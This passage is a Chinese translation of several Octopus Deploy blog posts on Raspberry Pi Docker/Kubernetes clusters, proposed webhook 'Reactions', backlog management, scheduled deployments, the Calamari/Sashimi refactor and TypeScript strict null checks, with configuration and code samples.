有些容器在启动时会改变文件系统和文件系统权限，比如 Postgres。当完全在容器或本地文件系统挂载中执行时，这通常不是问题。然而，当通过 CIFS 使用 Windows 共享时，这通常会使容器崩溃，表明该操作不受支持。为了绕过这一点，我为 CIFS 找到了noperm选项，它跳过了权限检查，直接向前移动。这使得我可以通过 Postgres 解决这个问题，但是我从来没有能够获得一个 Windows CIFS 共享来使用 Postgres 容器(但这并不意味着这是不可能的)。
CIFS 和斯格利特不是朋友
为我的 HomeAssistant 容器成功配置了一个 CIFS 共享后，我发现它默认使用的 SqlLite 数据库有问题，它一直报告数据库被锁定。在遇到 pgAdmin (Postgres management)容器的同样问题后，我稍微搜索了一下，发现许多帖子描述了同样的行为，几乎所有的帖子都推荐 SqlLite 以外的东西。这就是我在 HomeAssistant 堆栈部署中包含记录器服务的 MySql 容器的原因。
结论
这对我来说是一个非常有趣的项目，我学到了很多关于 Docker Swarm 的知识。创建一个 Raspberry Pi 集群对于学习 Docker Swarm 和 Kubernetes 这样的概念非常有用。
构建 Raspberry Pi 集群- Octopus 部署的进一步经验
原文：https://octopus.com/blog/raspberry-pi-further-lessons-learned
在之前的一篇文章构建 Raspberry Pi 集群的经验教训中，我分享了我在 Docker 集群中使用 Raspberry Pi 机器时学到的一些东西。以下是我后来学到的一些经验(如果你想看前四课，可以看看之前的帖子)。
配置和网络更新
在上一篇文章中，集群由五台 Raspberry Pi 机器组成，这是因为我有 8 端口交换机。后来，我升级到了 24 端口交换机，这使我可以用另外三台 Pi 机器来完全填充机箱。总共有八台机器，我可以在 Docker Swarm 和 Kubernetes (K8s)之间平均分配。
如果你感兴趣，我把我的整个网络设备换成了 Unifi。这篇文章不是关于网络设备的，但是如果你曾经考虑过 Unifi，我强烈推荐它。它让您以更合理的价格控制企业设备。提醒一句，他们给你足够的配置自由，让你自己陷入困境，有可能失控:
如果我在儿童室和餐厅之间再增加一个接入点，我就可以在走廊上一直保持 5Ghz 的信号强度
你已经被警告了😃
第 5 课:Raspberry Pi 4 有 64 位处理器，但 Raspberry Pi 操作系统仍然是 32 位的
正如我在上一篇文章中提到的，并不是所有的容器都可以在 ARM 架构上运行。然而，我确实发现有许多容器可以在 ARM64 上运行。在我最初的项目中，我试图运行这些 ARM64 兼容的容器，但是他们都声称不兼容的架构。当我读到 Raspberry Pi 4 中的处理器是 64 位芯片时，我感到困惑。我没有意识到的是，Raspberry Pi 操作系统仍然只有 32 位，这是有意义的，因为直到最近他们才提供了一个大于 4GB 内存的模型。随着 8GB 型号的推出，Raspberry Pi OS 也有了 64 位版本，但仍处于测试阶段。
我做了更多的研究，发现 Ubuntu 有一个 64 位的 ARM 兼容版本。由于对 Ubuntu 有些熟悉，我将这个操作系统加载到了我的 4 台 Raspberry Pi 机器上。
第 6 课:ARM64 兼容容器
除了学习集群计算，我的 Raspberry Pi 项目的另一个目标是通过使用容器而不是虚拟机来减少虚拟机管理程序的负载。我想替换的其中一个虚拟机运行的是 MySQL。我在 Docker Hub 上找到的唯一一个在 ARM 上运行的容器是非官方的、旧的、很少更新的 MySQL 的 Raspberry Pi 端口。不幸的是，我使用的数据库部署技术会抱怨它们太旧，需要我购买新的许可证...嘘！幸运的是， MySQL-Server 容器恰好兼容 ARM64！有了几个 YAML 文件，我很快在我的 K8s 集群中运行了 MySQL 容器:
apiVersion: apps/v1
kind: Deployment
metadata:
name: mysql-dev-deployment
spec:
replicas: 1
selector:
matchLabels:
component: mysqlserver-dev
template:
metadata:
labels:
component: mysqlserver-dev
spec:
containers:
- name: mysqlserver-dev
image: mysql/mysql-server
ports:
- containerPort: 3306
env:
- name: MYSQL_ROOT_PASSWORD
value: "A_Password_I_will_not_share"
- name: MYSQL_ROOT_HOST
value: "%"
apiVersion: v1
kind: Service
metadata:
name: loadbalancer-dev-mysql
spec:
selector:
component: mysqlserver-dev
ports:
- port: 3306
targetPort: 3306
name: mysqldevport
externalIPs:
- 192.168.1.64
type: LoadBalancer
随着这个容器的运行，我现在可以运行 MySQL 的现代版本，并测试各种部署方法(Dbup、Flyway、Liquibase 和 RoundhousE)！
第 7 课:更好的群体监控
在我最初的 Swarm 项目中，我遵循了一个指南让你运行一个叫做 Visualizer 的容器。这个容器显示了集群中的哪个节点上运行了哪些容器，除此之外别无其他。我的同事 Adam Close 告诉我关于 Portainer ，一个容器管理工具。
Portainer 不仅能让你看到哪些容器在你的集群中运行，还能让你管理集群本身。左侧的导航显示了它的功能
不用说，Portainer 是用于容器管理的更好的工具。
结论
随着我对 Linux、Docker 和 Kubernetes 的了解越来越多，这个项目仍然很有趣。这也让我在新冠肺炎问题拖延的时候有事可做。
附言:我知道我的电缆管理技能还有待提高😉
RFC: Octopus 反应-集成工具包- Octopus 部署
原文：https://octopus.com/blog/rcf-octopus-reactions-integration-toolkit
最近在 Octopus 总部，我们一直在研究如何更好地与 DevOps 生态系统中的其他工具集成。
我们已经花了一些时间来研究类似领域中存在的其他工具，人们使用 Octopus Deploy 的情况，以及我们的客户已经在哪里编写与他们现有工具的集成。
对于如何最好地支持目前有点棘手的各种工具和产品，我们已经有了一些想法，以及做一些人们已经在做的事情的更好的方法。我们已经为 Octopus 开发了一些特性，这些特性将实现更多更好的集成，以及对您可能想要使用的一些定制流程的更好支持。
介绍章鱼反应
我们为 Octopus 提出了一个新功能，我们现在称之为反应。它将允许您获取内部和外部事件(触发器),并将它们映射到一些自定义操作，或者以 PowerShell 脚本的形式，或者以传出 HTTP 请求的形式。
触发器和操作
有两种类型的事件触发器可用于反应。内部事件，如部署成功或失败、创建发布、注册触手或更新部署流程。我们也有外部事件，比如一个新的包在一个外部包存储库中可用，它可以作为 HTTP webhook 请求接收。
在内部或外部触发的情况下，我们可以启动一个操作。
例如，我们可能想要将我们的工件存储库中的外部 HTTP 触发器映射到一个 PowerShell 脚本来创建一个新的版本。
我们在内部的 NuGet 资源库中为包创建了自动发布，但是我们从来没有支持过外部的资源库，比如 MyGet，因为轮询这些服务不会让我们成为一个好公民。
这个特性允许我们用一个 webhook 触发器来实现它。当 Octopus 以它期望的模式收到 HTTP 请求时，它将触发一个脚本，该脚本可以查询您的包存储库以构建一些发布说明，然后创建一个发布。
另一个例子可能是使用 Octopus 事件，比如部署开始和结束，通过它们的 HTTP API 通知外部监控系统。在这种情况下，我们将一个内部触发器映射到一个传出的 HTTP 请求。
这可能看起来像什么
添加新的反应就是选择触发器，添加过滤器(在一些内部事件的情况下)，然后创建相应的动作。
具有 PowerShell 操作的外部触发器
外部触发器将通过定义一个端点来创建，就像您定义 ASP.NET 路由的方式一样。例如，您可能希望对 MyGet 中可用的新包做出反应，因此您可以定义/triggers/mygetpackage 的端点(即 https://octopus.yourcompany.com/triggers/mygetpackage)并在 MyGet 中进行配置。
对于身份验证，我们可能需要在查询字符串或 HTTP 头中传递 API 密钥。
大多数发送 HTTP WebHook 的产品都将 JSON 有效负载作为请求的主体。我们将把它反序列化为 PowerShell 对象，并把它以及任何查询字符串参数传递给 PowerShell 脚本。这个脚本也有一个可用的引导 API 客户端，因此您可以使用 Octopus API 来创建发布。
内部事件和传出 HTTP 操作
我们看到人们编写步骤模板的一个常见场景是通知监控或分析系统，如 New Relic 、 AppDynamics 或 Raygun 部署正在开始和结束。通过与这些系统集成，我们可以在部署期间放宽警报阈值，并标记版本以供以后进行性能关联。
为了创建它，我们将选择内部事件(部署开始，然后部署成功)，应用过滤器来选择我们感兴趣的项目和环境(例如生产中的核心 Web 应用程序)，然后通过指定 URI、头和主体来定义 HTTP 请求。
为了构建 HTTP 请求，我们将包含标准的 Octopus Deploy 文本模板特性，以包含像发布版本和其他相关变量这样的变量。
内部事件和 PowerShell 操作
这里我想到了几种类型的场景。第一个可能与前一个类似，但是第三方集成比简单的 HTTP 请求更复杂，我们可以使用 PowerShell 与产品更紧密地集成(也许有我们需要使用的 API DLL)。第二种类型是我们希望在完成其他操作的基础上开始的内部 Octopus 操作。一个例子可能是触发部署的新触手注册(场景我们已经讨论过自动执行，但是这可能是一种更细粒度的实现方式)。另一个例子可能是，如果一个依赖组件发布了一个新版本，那么创建并部署一个新版本的项目。
在这些情况下，PowerShell 脚本将使用 API 客户端以及基于事件的任何相关变量(项目 ID、发布 ID、部署 ID、机器 ID 等)进行引导。
外部事件和传出 HTTP 操作
这个场景实际上没有意义，所以我们很可能不会支持它。Octopus 将只是充当一个直通 HTTP 代理，并且可能有更好的方法来实现这将打开的任何场景。
有些事情我们还在考虑
这里我们仍然需要解决几个问题，首先想到的是权限。
让它更简单
我们认为这些特性为扩展 Octopus 部署提供了大量的能力和可能性。这里的风险是，创建和管理你所有的反应会变得有点麻烦。我们可能会做的是预先构建许多第三方集成，并允许您选择它们，添加任何帐户特定的东西(API 令牌等)，并为您配置它们。
轮到你了
这些功能听起来像是你会使用的吗？我们遗漏了什么情况吗？让我们知道你的想法。
我的要求收回积压-章鱼部署
我刚刚花了 9 个小时驯服我们的积压工作，这太有趣了。不是！为了给我灵感，我重新观看了由 Intercom.io 的 Des Traynor 制作的关于管理特性请求的软件视频的业务。强烈推荐:
积压疲劳
在我开始之前，我们的 GitHub 问题列表中有大约 280 个未解决的问题，其中一些被分配给了一个 backlog 里程碑，其他的由没有被分配到里程碑的用户发布。其中大部分是建议，或者是我们认为有一天会很棒的功能，所以我们只是把它们扔进了 GitHub。当讨论或论坛上出现建议时，我们会说:
谢谢！我明白为什么这是一个有用的想法。我已经把它加到待办事项里了。
它建立得如此之快！老实说:除了当前里程碑中的项目，我只是避免看任何其他问题——实在是太多了。积压的问题在于一旦达到一定规模，就突然变成无限。一旦某件事情已经被积压了几个月，并且每次你做迭代计划时它都被跳过，那么它就永远不会被完成，所以它会被一次又一次地碰撞。然而，每当你计划下一次迭代时，它们就在那里，只是另一个需要阅读和跳过的东西。
我真的很想有一个未来 6 个月的高级路线图，以及未来几周我们要做的事情的详细列表，但当积压处于这种状态时，要理解这些是不可能的！
回收积压
我深吸一口气，决定:我将不再逃避我的积压！我制定了一个计划，决定在我们绝对要做的事情和 T2 的建议之间划清界限。以下是我想出的规则:
- 如果这是我们绝对打算在接下来的两个月里做的事情，那就是 GitHub 问题(积压)
- 其他的都归用户语音
9 个小时后，我出现了，疲惫不堪，但最终还是胜利了:
- 在我们当前的里程碑中有 21 个开放的问题，计划在下周预发布时完成
- 下一个里程碑中有 56 个未解决的问题
- 有一小部分未分配的问题，我在等待回复
- 那就是 it 。不再有了！
项目太小了，以至于我可以在代码中比响应它们更快地修复它们，并立即得到修复和推送。对于其他所有东西，缓慢的部分是搜索现有的匹配项目，或者将东西复制并粘贴到 UserVoice，然后键入回复，说建议正在以个性化的方式移动。
事实上，我甚至改变了我们使用里程碑的方式。以前，我们有一个当前迭代的里程碑(例如，2.4)和一个 backlog 的里程碑。现在，我们只有一个 2.4 和一个 2.5；其他的都在用户之声上。
战胜恐惧
我其实很害怕这样做。建议对我们来说非常重要，它们确实推动了产品的方向，我不希望任何人认为他们的建议不受重视，或者我们不关心他们需要从产品中得到什么。我们在乎。
然而，事实是，我们已经有足够多的建议，如果我们只选择最受欢迎的，我们至少有 6 个月的工作要做，更不用说看那些只有一两票的建议了。我会撒谎，试图把所有事情都留在待办事项中，就好像下周就能完成一样。
为什么选择 UserVoice？
GitHub 上没有 200 条建议，我们现在在 UserVoice 上有 200 条建议。这真的有什么不同吗？我认为是这样的:
- 问题列表暗示一个项目将很快完成。用户之声暗示可能会完成。我觉得这样更诚实。
- 用户声音问题可以投票表决。这让我们更容易看到什么是重要的。
- 每当我们计划一个里程碑时，我都需要阅读 GitHub 上的每一期。相比之下，有了 UserVoice，我就可以在它们进来的时候阅读，或者只有在它们开始流行的时候。
现在，我上周写了关于的选票并不代表一切。UserVoice 上的许多项目都有很好的现有解决方案，甚至是一些高投票率的项目。我们仍然会对那些我们认为解决了真正的痛点并且没有好的解决方法的事情增加额外的优先级。
平衡战略与需求
一些公司在管理建议方面做得很糟糕。不指名道姓，但微软倾向于将项目留在 Connect 上多年，只有当它们明显是 bug 时，才作为“有意设计”关闭它们。我们不想那样做——每一次迭代我们都需要交付人们想要和需要的改进。
当然，我们对产品的长期发展方向也有一个愿景，重要的是要用建议来平衡这个愿景。我们已经制定了未来 6 个月的高级路线图，我将在本周发布。路线图中的每一项也存在于 UserVoice 上。不管他们是否得到任何选票，我们都会去做，但是如果有些人看起来很受欢迎，我们会在他们完成后让他们去影响。
理想情况下，我们每 2-3 周发布一次新版本的 Octopus，我希望每个版本都包含以下健康的组合:
- 错误修复(我们将始终致力于首先完成它们)
- 社区建议
- 我们的路线图项目
我们在招人！
我们很幸运在几周内有了一个新的开发者(我会在那时宣布)，但我们期待着更多的增长。如果你是个牛人。NET 开发者，取得联系！我想我们有足够多令人兴奋的工作让你去做 :-)
定期调度部署- Octopus 部署
Octopus 早就有能力在未来的特定时间安排部署。缺少的是将部署安排在重复的能力。这个特性在内部被称为 DTGAAA:一次又一次的部署。
这是一个非常受欢迎的用户声音项目,在我们的列表中排名第四，有 460 多张选票。理由很充分:没有人喜欢一遍又一遍地做同样的事情。这就是章鱼这样的工具存在的原因！
为什么？
想象你有三个典型的环境:Dev、Test和Prod。
开发团队配置了他们的持续集成管道，这样每次他们推送新的提交时，构建服务器都会构建包并将其推送到 Octopus，在 Octopus 中自动部署到Dev环境。这既是自动化系统测试的目标，也是开发人员执行任何所需的手动检查的机会。
QA 团队希望每天都有最新的版本可用，但是他们也希望它相对稳定，而不是不断变化。因此他们安排了一个每天晚上运行的部署，并将最新版本从Dev升级到Test环境。当 QA 团队早上到达时，他们可以查看 Octopus 中的发布说明，并查看那些辛勤工作的开发人员在前一天交付了哪些新的闪亮的功能。
如果 QA 团队满意，他们可以手动触发从Test到Prod的发布升级。
当然，对于这个特性，你可能有一个完全不同的用例。我们很想听听。
瞧啊。
你可以随心所欲地创建日程表:
- 每天地；天天地
- 一周中的几天
- 每月的几天
- Cron 表达式
时区很重要，所以我们允许您显式地选择它。例如，如果您所在的时区采用夏令时，那么您可能希望您的 7am 部署考虑这一点。
您可以选择:
升级现有的最新版本，在这种情况下，您需要选择要升级的源环境，并且可以选择限制从给定的渠道中选择版本。
每次创建一个新的版本，在这种情况下，您为创建的版本选择目标环境和通道。
选项 1 在如上所述的场景中是有意义的，在这些场景中，您正在提升一个已经被部署到生命周期中的先前环境中的版本。
选项 2 适用于当您希望部署到生命周期中的第一个环境，并且希望获得最新的包时。
任何设定以下时间表的人都可获得额外的八达通积分😉
什么时候？
Octopus 版本 2018.4.0 将在 4 月初发布，届时将提供重复部署。
愉快的重复部署！
Octopus 在 Redgate 的 SQL in the City 峰会上展示——Octopus Deploy
DevOps 将改变你的生活！DevOps 会解决你所有的问题！你现在应该做 DevOps！DevOps！DevOps！DevOps！好了，现在我引起了你们的注意，让我们冷静一点，谈谈这到底意味着什么。就像任何引入 IT 社区的新实践一样，有许多定义。我更喜欢的定义是“开发和运营团队为了一个共同的目标一起工作。”
我们在 Octopus Deploy 听到的最常见的目标之一是“我们希望自动化我们的部署。”哪个...有道理...考虑到我们制造的工具。人们不会联系我们询问绩效监控。自动化部署是一个令人敬畏的目标。任何时候可以删除手动步骤都是成功的。但是在自动化部署时，数据库经常被忽略。所有代码都是自动部署的，但是数据库的更改仍然是手动的。这非常令人担忧，因为数据库是应用程序中最重要的部分。任何手动操作都会增加风险。它降低了一切的速度，阻碍了你向客户提供价值。数据库需要包括在内。
在 Octopus Deploy，我们热衷于自动化所有部署，无论是代码、数据库还是基础设施。这就是为什么我很兴奋地宣布德里克·坎贝尔和本人将在本月 Redgate 的城市 SQL 峰会上继续我们关于“数据库开发运维如何帮助您保持竞争优势”的讨论。首先出场的是我们在英国的新队友德里克·坎贝尔。他将于 10 月 18 日在伦敦的 SQL in the City 峰会上发表演讲。接下来，我将在 10 月 26 日的芝加哥 SQL in the City 峰会上发表演讲。
现在注册还来得及！您可以使用代码 八达通 在芝加哥免费注册。在伦敦举行的活动有小额费用，但使用代码 八达通 将提供 25%的折扣。我希望在那里见到你！
重构章鱼:模块化、鱿鱼和生鱼片-章鱼部署
2012 年，我们发布了 Octopus Deploy 1.0，近八年过去了，该产品的受欢迎程度和功能仍在继续增长。作为这一旅程的一部分，代码库经历了一些重大的变化，包括重大的检修和重写。这篇文章是一个新博客系列的第一篇，在这里我们将分享我们在这种增长中遇到的一些问题，以及我们如何重构 Octopus 代码库以简化它并使它更容易更改。
在这篇文章中，我解释了我们如何引入模块化来降低 Octopus 与外部服务和工具集成的复杂性。
章鱼、触手和鱿鱼
Octopus 总是让网站和服务的发布变得很容易，但是驱动部署执行的编程逻辑已经改变了很多年。
在 Octopus 1.x 和 2.x 中，部署执行逻辑位于触手内部。Octopus Server 完成了主要的协调工作，但是部署是在部署目标上运行的触手代理中直接执行的。如果我们发布了新版本的 Octopus 服务器或者对部署执行逻辑进行了更新，我们必须发布新版本的触手。它们紧密耦合，必须保持同步。
在 Octopus 3.0 中，我们引入了鱿鱼，我们认为这是章鱼的小切片。这个新组件是一个独立的部署执行引擎，我们设想为不同的目的和技术创建多个独立的 calamari 片。触手得到了简化，它变成了一个与 Octopus 服务器通信并安全传输部署数据的简单管道。部署工作被委托给卡拉马里人。随着时间的推移，Calamari 已经成长为一个庞然大物，我们从未像预期的那样创建多个版本，只有标准的 Calamari 版本和 Calamari 云版本。
触手和卡拉马里在这方面做得非常好，他们已经帮助我们的客户执行了数千万次部署。
然而，这并非没有挑战。如果我们想要添加一个新的技术集成，它需要开发人员对 Octopus 代码库中从前端到服务器端代码和 Calamari 的众多接触点有深入的了解。虽然这很有效，但它会减慢我们的速度，并增加创造新功能的摩擦。
介绍鱿鱼口味
我们的第一步是按照我们最初的打算，将鱿鱼分成我们称之为口味的小块。这种划分是在步骤类别之间进行的(例如 AWS、Terraform、K8)。每种风格都是一个独立的可执行文件，这允许我们改变每种风格的目标平台(Windows、macOS、Linux 和 ARM)以及运行时(例如。网芯 3.1)。这种清晰的分离允许我们快速迭代并专注于特定的技术，而不必将所有其他事情放在心上。
鱿鱼口味有几个优点:
- 每个部分都是独立的，可以根据项目的需要独立升级和定制。
- 我们可以将 Azure 云服务等旧技术分离出来，并保持它们的稳定，同时专注于其他优先事项。
介绍生鱼片
随着对鱿鱼的重新思考，我们也开始将章鱼服务器切成我们称之为生鱼片的小块。类似于卡拉马里，这些切片将沿着部署步骤技术路线。这些片段最终将包含步骤的 UI 和服务器端部分、部署目标和帐户。
这是一个巨大的进步，使我们能够使 Octopus 服务器(前端和 web 服务)成为世界级的协调引擎，而不需要任何特定的知识或特定技术步骤的挂钩。例如，我们可以支持 Azure、AWS 或 Terraform，而无需服务器具备这些技术的任何特定知识或参考。
对于生鱼片，我们的目标是简化添加新技术和服务支持所需的开发工作。换句话说，我们团队中的开发人员可以独立于 Octopus 编写代码来添加支持，grok 它，并独立测试它，而不必了解 Octopus 服务器中的所有接触点。结果是集成速度更快，麻烦更少。例如，我们可以在很短的时间内通过遵循 Terraform 创建的模式来引入 Pulumi 支持。它还为第三方在 Octopus 中添加对其技术的支持提供了可能性，而且开销很小。
生鱼片和避免重复
每个生鱼片都包含在一个 NuGet ( .nupkg)包装中，其中包含:
- 我们注入到主用户界面的压缩 UI 文件。
- 服务器端处理组件。
- 任何第三方库或组件(依赖关系)。
- 每个平台的独立 Calamari 可执行文件。
这种方法引入了一个有趣的问题，这个问题以前阻碍了我们的发展。因为每个 Calamari 可执行文件都包含完整的。NET 核心运行时，Octopus 服务器安装程序的大小将显著增加。例如，如果我们在三个平台上各有 10 种鱿鱼口味，那么压缩后会产生 30 个鱿鱼组件，每个 40 MB。安装程序下载额外增加了 1.2 GB，这并不理想。
生鱼片和鱿鱼合并
为了解决这个问题，我们从 Windows 映像格式文件格式中取出一页，并使用了单实例存储技术。在构建时，我们查看所有的 Calamari 包，并对每个文件进行哈希处理。然后，我们只将唯一的文件存储在最终的归档文件中，这个归档文件的大小只有 150MB 左右，不管有多少种不同口味的鱿鱼。在运行时，我们使用包含的索引文件来重建原始的 Calamari 可执行文件。
结论
有了鱿鱼和生鱼片，我们正在实现小章鱼片和真正模块化的目标。这种方法带来了许多好处，其中最突出的是更简单的代码库，使我们更容易添加新的集成。
我们仍处于这一转变过程中，但它已经证明了自己的价值。这是最好的重构。我们正在改进代码库的设计，它应该对我们的客户透明。
重构 Octopus:向 Octopus 前端添加严格的空检查——Octopus Deploy
原文：https://octopus.com/blog/refactoring-octopus-strict-null-checks
空值通常被认为是十亿美元的错误。它们会在你最意想不到的时候悄悄出现，而且以一些非常有趣的方式出现。问题不在于 null 的表示本身，更多的是我们经常忘记处理null的情况。正是因为这个原因，一些语言完全回避 null 的概念，而选择用类型安全的方式使用Option单子来表示这个概念。函数式编程并不总是一件容易的事情，在某些情况下，我们可能仍然有遗留的代码库。这就是strictNullChecks编译器标志介入并拯救世界的地方。这个单独的开关允许 TypeScript 将null和undefined作为单独的类型，强制处理这些情况。这减少了围绕null和undefined的错误，并在适当缩小类型时消除了很多复杂性。它还消除了为某些情况编写测试的需要，并提供了更快的反馈。如果这引起了您的注意，让我们看看在现有代码库中启用严格空值的一些策略。
可能的选择
在现有的代码库上启用严格的空值应该像按下开关一样简单，对吗？不幸的是，事情没那么简单。在我们的例子中，仅仅启用这个标志就导致了大约 5000 个错误，这不是一个小数目。这意味着我们必须确定启用严格空值的最佳行动方案。让我们来看几个选项:
一气呵成
在许多情况下，您可以一次转换所有内容。也许你已经编写了完全严格的 null 兼容代码，这似乎不太可能，或者也许你有一个非常小的代码库。在我们的特殊情况下，除了未知因素之外，我们还必须做出巨大的改变，这使我们无法成功。这听起来可能需要一些艰苦的工作才能实现，但是，我们发现，除非您应用外科手术式的精确打字更改，否则您很可能会为您所做的每个打字更改引入更多的错误。当数字在你下面不停变化的时候，不容易估计。
隔离我们的前端代码库
随着 monorepos 和 TypeScript 支持项目引用的流行，这是一个相当有吸引力的选择。这将有效地允许我们获取代码库的片段，并将它们分离到单独的项目中，允许我们为每个单独的片段递增地启用严格的空值。乍一看，这个选项非常吸引人，但是围绕它的工具还不太完整。围绕fork-ts-checker-webpack-plugin中的项目引用支持有许多问题，而项目引用目前对于基于 react 的库来说没有多大意义。这仍然是我们希望在未来重新审视的东西，但这不是我们想要转换成严格空值的东西。
多个 tsconfigs
我们可以引入多个tsconfig.json文件，一个排除严格空值，另一个包含严格空值。在开发过程中，我们可以启用严格空值，同时使用不同的配置来排除生产构建的严格空值。这将让我们随着时间的推移对不兼容的代码施加向下的压力，但这也意味着您可能会有 7000 多个错误。这感觉不太理想。对此的一种变体是让 IDE 使用启用了严格空值的 tsconfig，这将所有错误排除在控制台之外。
带有断言的多个 tsconfigs
使用这种策略，您可以为正常的开发和生产构建禁用严格的空值。然后，您将添加一个启用了严格空值的附加 tsconfig，它包含一个明确的兼容文件列表。这还需要在 CI 构建中增加一个步骤，对包含严格空检查标志的 tsconfig 运行tsc检查。这确保了引入的额外错误会被发现，但是在正常开发过程中您可能不一定会看到这些错误。当有意地在较短的时间内为这一努力贡献重要的工程努力时，这可能会工作得很好。
非空断言运算符
TypeScript 有一个非空断言操作符(!)，它作为一种手段告诉 TypeScript 在特定的范围内某些东西不是空的。这允许围绕null和undefined的打字问题在逐个情况的基础上被抑制，但是当严格空值被启用时，它要求对每个错误进行抑制。启用林挺规则来阻止操作符的使用，并逐个文件地抑制这些规则，也有利于防止操作符的传播。这种方法允许您在文件级别有效地启用严格的空值，并且可以预计到相关的工作量。
我们决定将此作为首选，因为我们希望以一种可预测的方式实现严格的空值，并且风险和影响尽可能小。
关于这种方法的警告
所选择的方法有一些突出的缺点，非常值得一提:
- 它需要大量的机械抑制。
- 它可能导致部分实现的严格的空代码库，如果没有集中精力，它永远不会完全完成。
- 如果不对非空断言进行控制，它们就会传播开来。
- 以这种方式使用非空断言操作符，可能会产生一些令人讨厌的代码味道，例如:
this.state = {
variables: null!;
}
我们也知道，从长远来看，我们需要付出更多的努力来解决这些问题，所以我们认为在我们的情况下，利大于弊。
经验教训
作为我们转换过程的一部分，在到处应用非空断言之后，我们没有让事情保持原样。我们还想把我们的字体端的一个特征区域转换成严格的 null 兼容。我们知道，为了让我们的生活变得更轻松，我们需要更好地理解我们需要做出的改变以及应用的模式。以下是我们在这个过程中吸取的一些教训。
类型的交集可以是互斥的
如前所述，启用了严格空值的 TypeScript 将把null和undefined视为不同的类型，并将对类型的交集应用更严格的检查。一个例子是使用一个Record和另一个包含可选键属性的类型之间的交集。以下面这个为例:
type RouteArgs = Record<string, string>;
type AllArgs = { ids?: string [] };
type SomeArgs = RouteArgs & AllArgs;
const args: SomeArgs = { ids: undefined }; //invalid
在启用严格空值之前，这种事情本来是可行的，但是之后，您会看到一条消息，指出属性 id 与索引签名不兼容，并且不能分配给undefined。如果你看看Record的签名，这就完全说得通了:
type Record<K extends keyof any, T> = {
[P in K]: T;
};
这意味着我们不能提供undefined作为Record的键，因为keyof undefined评估为底部类型never。这也意味着类型之间的交集没有意义，导致可选的 prop 被丢弃，结果是 TypeScript 抱怨。值得注意的是，随着 TypeScript 3.9 的发布，TypeScript 对这类事情越来越严格。
在混合使用未定义的情况下，对类型进行索引会变得很棘手
假设您有一个带有深度嵌套状态的 React 组件，并且您希望对它的一小部分进行某种类型安全的变更，同时避免安装新的依赖项(如 immer)。我们称这个方法为 setChildState。其用法的一个虚构示例如下所示:
type Address = {
details: string;
postcode: string;
};
type Person = {
name: string;
surname: string;
address: Address;
};
type State = {
person: Person;
};
class MyComponent extends React.Component<{}, State>{
constructor(props: Props){
super(props);
this.state = {
//..state
}
}
setChildState<KeyOfState extends keyof State, Child extends State[KeyOfState], KeyOfChild extends keyof Child, GrandChild extends Child[KeyOfChild], KeyOfGrandChild extends keyof GrandChild>(
first: KeyOfState,
second: KeyOfChild,
state: Pick<GrandChild, KeyOfGrandChild>,
callback?: () => void
) {
this.setState(
prev => ({
[first]: {
...prev[first],
[second]: {
...(prev[first] as Child)[second],
...state,
},
},
}),
callback
);
}
changeAddress(address: Address) {
this.setChildState("person", "address", address);
}
render() {
return (
<div>
<button
onClick={() =>
this.changeAddress({ postcode: "555", details: "Nowhere" })
}
>
Change Address
</button>
</div>
);
}
}
不幸的是，在您启用了严格的空值之后，这种情况就不太好了，并且您在链的下游有一个 null/undefined。你可以用这个例子自己尝试一下。让State中的person成为可选的将会破坏事物，并且有很好的理由。如果该属性是可选的，那么您可能正在传播一个undefined对象，这将使状态处于某种模糊状态，即只有对象的一部分被定义。在这一点上，你实际上是在撒谎什么是定义了的，什么是没有定义的。当然，如果你不在乎，你可以有策略地在整个签名中散布NonNullable，但是你最好通过使用道具来传递值，从而将null和undefined完全排除在外。稍后我们会看到一个这样的例子。
严格的空值也意味着函数周围更严格的类型
TypeScript 允许您启用其他严格的标志，如strictFunctionTypes，这将启用更严格的双变量检查。然而，您可能会惊讶地发现，当仅启用strictNullChecks时，一些更严格的检查可能会应用于与null和undefined无关的功能。React refs就是一个很好的例子。你可能以前尝试过使用一些基本类型，如HTMLElement作为你的引用，如下所示:
export default function App() {
const myRef = React.useRef<HTMLElement | undefined>();
return (
<div ref={myRef} className="App"></div>
);
}
TypeScript 允许您直接将赋值给基类型，但对于函数来说就不那么宽松了，因此您可能需要缩小类型的范围:
export default function App() {
const myRef = React.useRef<HTMLDivElement | undefined>();
//Okay
return (
<div ref={myRef} className="App"></div>
);
}
很快，类型错误消失了，编译器很高兴。
先说资源差异
还记得我们说过严格空值将null和undefined视为不同的类型吗？在我们的特殊情况下，这也意味着我们必须为新的和现有的资源稍微改变接口。这是因为创建资源所需的属性可能比指定的少。当然，TypeScript 并不知道这一点，它只是想有所帮助。让我们以下面的资源为例:
interface TenantLinks {
Self: string;
Variables: string;
Web: string;
Logo: string;
}
export interface TenantResource {
Id: string;
Name: string;
TenantTags: string[];
ProjectEnvironments: { [projectId: string]: string[] };
ClonedFromTenantId: string | null;
Description: string | null;
SpaceId: string;
Links: LinksCollection<TenantLinks>;
}
启用严格的空值后，每当我们第一次创建资源时，我们都需要指定链接、Id、ClonedFromTenantId 以及空间 ID，尽管这些对于新资源都没有意义。这是因为相关的链接是由服务器提供的，我们自动生成 ID，自动推断空间 ID，ClonedFromTenantId 由服务器在克隆租户时填充。我们选择将这些资源的共享属性提取到一个单独的接口中，并根据需要更改属性。
这最终看起来像这样:
interface TenantLinks {
Self: string;
Variables: string;
Web: string;
Logo: string;
}
interface TenantResourceShared {
TenantTags: string[];
ProjectEnvironments: { [projectId: string]: string[] };
Name: string;
}
export interface TenantResource extends TenantResourceShared {
Id: string;
SpaceId: string;
ClonedFromTenantId: string | null;
Description: string | null;
Links: LinksCollection<TenantLinks>;
}
export interface NewTenantResource extends TenantResourceShared {
Description?: string;
}
随着这一变化，我们的存储库接受了NewResource,同时总是返回完整的资源以供使用。同样，任何fetch操作都将返回完整的资源。
尽快缩小一次
如何创建类型来表示事物可能相当主观。您可以使用 instanceof 创建类，并基于构造函数进行继承和区分。您还可以创建对象，并通过类似于 redux 操作的属性进行区分。区别工会的优势在于，他们不一定有完全相同的形状。在这两种情况下，我们都需要缩小类型的范围来决定要做什么。这同样适用于原语，其中null和undefined作为类型集的一部分，例如string | null | undefined。我们遵循一个简单的规则来避免到处添加可选的链接和/或空检查。为了实现这一点，我们在尝试使用一个类型之前，尽可能地缩小它的范围。
以上是一个简单的规则，可以大大降低复杂性。这感觉很明显，但原因是因为它减少了您需要处理的排列数量。字体越宽，你需要处理的案例就越多，出错的几率就越大。最好尽快缩小到最严格的类型。例如，我们更喜欢string而不是string | null，而对于更复杂的对象和类层次，我们更喜欢可能的更具体的东西。
加载数据
在使用 react 时，在componentDidMount或钩子中加载数据是一件很常见的事情。问题是您可能没有可用于第一次渲染的数据，这需要将数据标记为可选的。
